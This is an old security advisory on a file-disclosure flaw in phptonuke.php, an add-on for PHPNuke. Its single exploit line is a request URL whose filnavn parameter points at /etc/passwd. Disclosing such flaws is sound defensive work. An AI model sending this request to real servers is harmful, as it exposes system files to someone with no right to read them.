[UNIX] PHPNuke AddOn PHPToNuke Allows Remote File Retrieving

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Date: 10/17/02 

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Date: 17 Oct 2002 00:26:29 +0200

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  PHPNuke AddOn PHPToNuke Allows Remote File Retrieving
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SUMMARY

phptonuke.php is a PHPNuke AddOn script to insert a PHP script into the
middle of a PHPNuke site. It is written and maintained by Lebios. A
security vulnerability in the PHP allows attackers to cause the script to
display the content of arbitrary files (Files residing outside the
normally bound HTML root directory).

DETAILS

Exploit:
By accessing the following URL:
http://website.com/phptonuke.php?filnavn=/etc/passwd

It is possible to cause the remote server to return the content of the
/etc/passwd file.

ADDITIONAL INFORMATION

The information has been provided by <mailto:zero-x@linuxmail.org> Zero-X
ScriptKiddy.

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